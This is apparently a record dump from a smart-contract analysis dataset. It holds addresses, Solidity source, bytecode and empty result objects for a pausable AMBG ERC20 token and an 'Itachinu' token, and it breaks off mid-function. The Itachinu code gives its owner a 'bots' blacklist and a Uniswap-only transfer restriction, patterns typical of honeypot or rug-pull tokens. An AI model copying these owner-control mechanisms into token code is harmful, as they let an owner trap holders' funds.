00080fd5b6001600380549050016004546032821180610e4f57508181115b80610e5a5750600081145b80610e655750600082145b15610e6f57600080fd5b6001600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060038054806001018281610edb9190611ea2565b9160005260206000209001600087909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550508473ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b6000806000809150600090505b60038054905081101561105257600160008581526020019081526020016000206000600383815481101515610fb257fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611032576001820191505b6004548214156110455760019250611053565b8080600101915050610f81565b5b5050919050565b600080600090505b6003805490508110156111205760016000848152602001908152602001600020600060038381548110151561109357fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611113576001820191505b8080600101915050611062565b50919050565b60006020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169080600101549080600201908060030160009054906101000a900460ff16905084565b61118a611ece565b600380548060200260200160405190810160405280929190818152602001828054801561120c57602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190600101908083116111c2575b5050505050905090565b61121e611ee2565b611226611ee2565b6000806005546040518059106112395750595b9080825280602002602001820160405250925060009150600090505b6005548110156112f55785801561128c575060008082815260200190815260200160002060030160009054906101000a900460ff16155b806112bf57508480156112be575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b156112e8578083838151811015156112d357fe5b90602001906020020181815250506001820191505b8080600101915050611255565b8787036040518059106113055750595b908082528060200260200182016040525093508790505b8681101561136757828181518110151561133257fe5b906020019060200201518489830381518110151561134c57fe5b9060200190602002018181525050808060010191505061131c565b505050949350505050565b61137a611ece565b611382611ece565b6000806003805490506040518059106113985750595b9080825280602002602001820160405250925060009150600090505b6003805490508110156114f7576001600086815260200190815260200160002060006003838154811015156113e557fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156114ea5760038181548110151561146d57fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683838151811015156114a757fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001820191505b80806001019150506113b4565b816040518059106115055750595b90808252806020026020018201604052509350600090505b8181101561159457828181518110151561153357fe5b90602001906020020151848281518110151561154b57fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050808060010191505061151d565b505050919050565b60055481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156115dc57600080fd5b6003805490508160328211806115f157508181115b806115fc5750600081145b806116075750600082145b1561161157600080fd5b826004819055507fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a836040518082815260200191505060405180910390a1505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156116ad57600080fd5b81600080600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561170757600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561177157600080fd5b600180600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef60405160405180910390a361182685611b6c565b5050505050565b600061183a848484611d26565b905061184581611654565b9392505050565b603281565b60045481565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561189357600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156118ec57600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561194457600080fd5b600092505b600380549050831015611a2f578473ffffffffffffffffffffffffffffffffffffffff1660038481548110151561197c57fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611a2257836003848154811015156119d457fe5b906000526020600020900160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611a2f565b8280600101935050611949565b6000600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508473ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a28373ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b60008160008082815260200190815260200160002060030160009054906101000a900460ff1615611b9c57600080fd5b611ba583610f74565b15611d2157600080848152602001908152602001600020915060018260030160006101000a81548160ff0219169083151502179055508160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168260010154836002016040518082805460018160011615610100020316600290048015611c845780601f10611c5957610100808354040283529160200191611c84565b820191906000526020600020905b815481529060010190602001808311611c6757829003601f168201915b505091505060006040518083038185876187965a03f19250505015611cd557827f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a2611d20565b827f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260008260030160006101000a81548160ff0219169083151502179055505b5b505050565b60008360008173ffffffffffffffffffffffffffffffffffffffff161415611d4d57600080fd5b60055491506080604051908101604052808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020016000151581525060008084815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550602082015181600101556040820151816002019080519060200190611e0c929190611ef6565b5060608201518160030160006101000a81548160ff0219169083151502179055509050506001600560008282540192505081905550817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a2509392505050565b815481835581811511611e9d57818360005260206000209182019101611e9c9190611f76565b5b505050565b815481835581811511611ec957818360005260206000209182019101611ec89190611f76565b5b505050565b602060405190810160405280600081525090565b602060405190810160405280600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611f3757805160ff1916838001178555611f65565b82800160010185558215611f65579182015b82811115611f64578251825591602001919060010190611f49565b5b509050611f729190611f76565b5090565b611f9891905b80821115611f94576000816000905550600101611f7c565b5090565b905600a165627a7a72305820b946bf5299a60ced3c534726587977ce66183fcc728c61108570c52f7ab1122d0029
{"success": true, "error": null, "results": {}}
57
0x91E039B07D003dc737d1414BF2AC27496c213Cc5
pragma solidity >=0.5.0 <0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint a, uint b) internal pure returns (uint) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) { require(b <= a, errorMessage); uint c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint a, uint b) internal pure returns (uint) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint a, uint b) internal pure returns (uint) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint a, uint b) internal pure returns (uint) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint a, uint b, string memory errorMessage) internal pure returns (uint) { require(b != 0, errorMessage); return a % b; } } interface iERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address account) external view returns (uint); function transfer(address recipient, uint amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint amount) external returns (bool); function transferFrom(address sender, address recipient, uint amount) external returns (bool); function increaseAllowance(address spender, uint addedValue) external returns (bool); function decreaseAllowance(address spender, uint subtractedValue) external returns (bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract ownerable { address public contract_owner; constructor() public { contract_owner = msg.sender; } modifier KOwnerOnly() { require(msg.sender == contract_owner, 'NotOwner'); _; } function tranferOwnerShip(address newOwner) external KOwnerOnly { contract_owner = newOwner; } } /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. */ contract pausable is ownerable { bool public paused; /** * @dev Emitted when the pause is triggered by a pauser (`account`). */ event Paused(address account); /** * @dev Emitted when the pause is lifted by a pauser (`account`). */ event Unpaused(address account); /** * @dev Initialize the contract in unpaused state. Assigns the Pauser role * to the deployer. */ constructor () internal { paused = false; } /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier KWhenNotPaused() { require(!paused, "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier KWhenPaused() { require(paused, "Pausable: not paused"); _; } /** * @dev Called by a pauser to pause, triggers stopped state. */ function Pause() public KOwnerOnly { paused = true; emit Paused(msg.sender); } /** * @dev Called by a pauser to unpause, returns to normal state. */ function Unpause() public KOwnerOnly { paused = false; emit Unpaused(msg.sender); } } contract AMBGToken is iERC20, pausable { using SafeMath for uint; string public name = "African Mining Blockchain Group"; string public symbol = "AMBG"; uint8 public decimals = 9; uint public totalSupply = 1000000000e9; mapping (address => uint) internal _balances; mapping (address => mapping (address => uint)) internal _allowances; constructor( address receiver, address defaultOwner ) public { contract_owner = defaultOwner; _balances[receiver] = totalSupply; emit Transfer(address(0), receiver, totalSupply); } function balanceOf(address account) public view returns (uint) { return _balances[account]; } function transfer(address recipient, uint amount) external KWhenNotPaused returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) external view returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint value) external KWhenNotPaused returns (bool) { _approve(msg.sender, spender, value); return true; } function transferFrom(address sender, address recipient, uint amount) external KWhenNotPaused returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) external KWhenNotPaused returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) external KWhenNotPaused returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _approve(address owner, address spender, uint value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } }
0x608060405234801561001057600080fd5b506004361061011d576000357c0100000000000000000000000000000000000000000000000000000000900480635c975abb116100b457806395d89b411161008357806395d89b4114610351578063a457c2d714610359578063a9059cbb14610392578063dd62ed3e146103cb5761011d565b80635c975abb146103065780636985a0221461030e57806370a08231146103165780637805862f146103495761011d565b806323b872dd116100f057806323b872dd1461023b578063313ce5671461027e578063384f58eb1461029c57806339509351146102cd5761011d565b806306fdde0314610122578063095ea7b31461019f578063163031f4146101ec57806318160ddd14610221575b600080fd5b61012a610406565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561016457818101518382015260200161014c565b50505050905090810190601f1680156101915780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101d8600480360360408110156101b557600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610493565b604080519115158252519081900360200190f35b61021f6004803603602081101561020257600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610532565b005b6102296105ff565b60408051918252519081900360200190f35b6101d86004803603606081101561025157600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060400135610605565b61028661070a565b6040805160ff9092168252519081900360200190f35b6102a4610713565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b6101d8600480360360408110156102e357600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813516906020013561072f565b6101d8610802565b61021f610823565b6102296004803603602081101561032c57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff1661091d565b61021f610945565b61012a610a28565b6101d86004803603604081101561036f57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610a80565b6101d8600480360360408110156103a857600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610b6b565b610229600480360360408110156103e157600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516610c01565b60018054604080516020600284861615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561048b5780601f106104605761010080835404028352916020019161048b565b820191906000526020600020905b81548152906001019060200180831161046e57829003601f168201915b505050505081565b6000805474010000000000000000000000000000000000000000900460ff161561051e57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601060248201527f5061757361626c653a2070617573656400000000000000000000000000000000604482015290519081900360640190fd5b610529338484610c39565b50600192915050565b60005473ffffffffffffffffffffffffffffffffffffffff1633146105b857604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600860248201527f4e6f744f776e6572000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b600080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b60045481565b6000805474010000000000000000000000000000000000000000900460ff161561069057604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601060248201527f5061757361626c653a2070617573656400000000000000000000000000000000604482015290519081900360640190fd5b61069b848484610d80565b61070084336106fb856040518060600160405280602881526020016110eb6028913973ffffffffffffffffffffffffffffffffffffffff8a166000908152600660209081526040808320338452909152902054919063ffffffff610f5316565b610c39565b5060019392505050565b60035460ff1681565b60005473ffffffffffffffffffffffffffffffffffffffff1681565b6000805474010000000000000000000000000000000000000000900460ff16156107ba57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601060248201527f5061757361626c653a2070617573656400000000000000000000000000000000604482015290519081900360640190fd5b33600081815260066020908152604080832073ffffffffffffffffffffffffffffffffffffffff88168452909152902054610529919085906106fb908663ffffffff61100416565b60005474010000000000000000000000000000000000000000900460ff1681565b60005473ffffffffffffffffffffffffffffffffffffffff1633146108a957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600860248201527f4e6f744f776e6572000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b600080547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff16740100000000000000000000000000000000000000001790556040805133815290517f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a2589181900360200190a1565b73ffffffffffffffffffffffffffffffffffffffff1660009081526005602052604090205490565b60005473ffffffffffffffffffffffffffffffffffffffff1633146109cb57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600860248201527f4e6f744f776e6572000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b600080547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff1690556040805133815290517f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa9181900360200190a1565b6002805460408051602060018416156101000260001901909316849004601f8101849004840282018401909252818152929183018282801561048b5780601f106104605761010080835404028352916020019161048b565b6000805474010000000000000000000000000000000000000000900460ff1615610b0b57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601060248201527f5061757361626c653a2070617573656400000000000000000000000000000000604482015290519081900360640190fd5b61052933846106fb8560405180606001604052806025815260200161115c6025913933600090815260066020908152604080832073ffffffffffffffffffffffffffffffffffffffff8d168452909152902054919063ffffffff610f5316565b6000805474010000000000000000000000000000000000000000900460ff1615610bf657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601060248201527f5061757361626c653a2070617573656400000000000000000000000000000000604482015290519081900360640190fd5b610529338484610d80565b73ffffffffffffffffffffffffffffffffffffffff918216600090815260066020908152604080832093909416825291909152205490565b73ffffffffffffffffffffffffffffffffffffffff8316610ca5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806111386024913960400191505060405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff8216610d11576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110a36022913960400191505060405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff808416600081815260066020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b73ffffffffffffffffffffffffffffffffffffffff8316610dec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806111136025913960400191505060405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff8216610e58576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806110806023913960400191505060405180910390fd5b610ea8816040518060600160405280602681526020016110c56026913973ffffffffffffffffffffffffffffffffffffffff8616600090815260056020526040902054919063ffffffff610f5316565b73ffffffffffffffffffffffffffffffffffffffff8085166000908152600560205260408082209390935590841681522054610eea908263ffffffff61100416565b73ffffffffffffffffffffffffffffffffffffffff80841660008181526005602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b60008184841115610ffc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610fc1578181015183820152602001610fa9565b50505050905090810190601f168015610fee5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60008282018381101561107857604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b939250505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa265627a7a72315820876f7a572812e2de870e02458127fd2c6670c87003d5317687527027d2087c9964736f6c634300050c0032
{"success": true, "error": null, "results": {}}
58
0x952e9a7814702d7a39d3bac0f3ec6f5ebe92a23e
// SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.7; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Itachinu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Itachinu | t.me/Itachinu"; string private constant _symbol = "Itachinu"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; mapping (address => bool) bannedUsers; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 3; uint256 private _redisfee = 2; mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance} (address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 10000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _redisfee == 0) return; _taxFee = 0; _redisfee = 0; } function restoreAllFee() private { _taxFee = 3; _redisfee = 2; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (120 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; 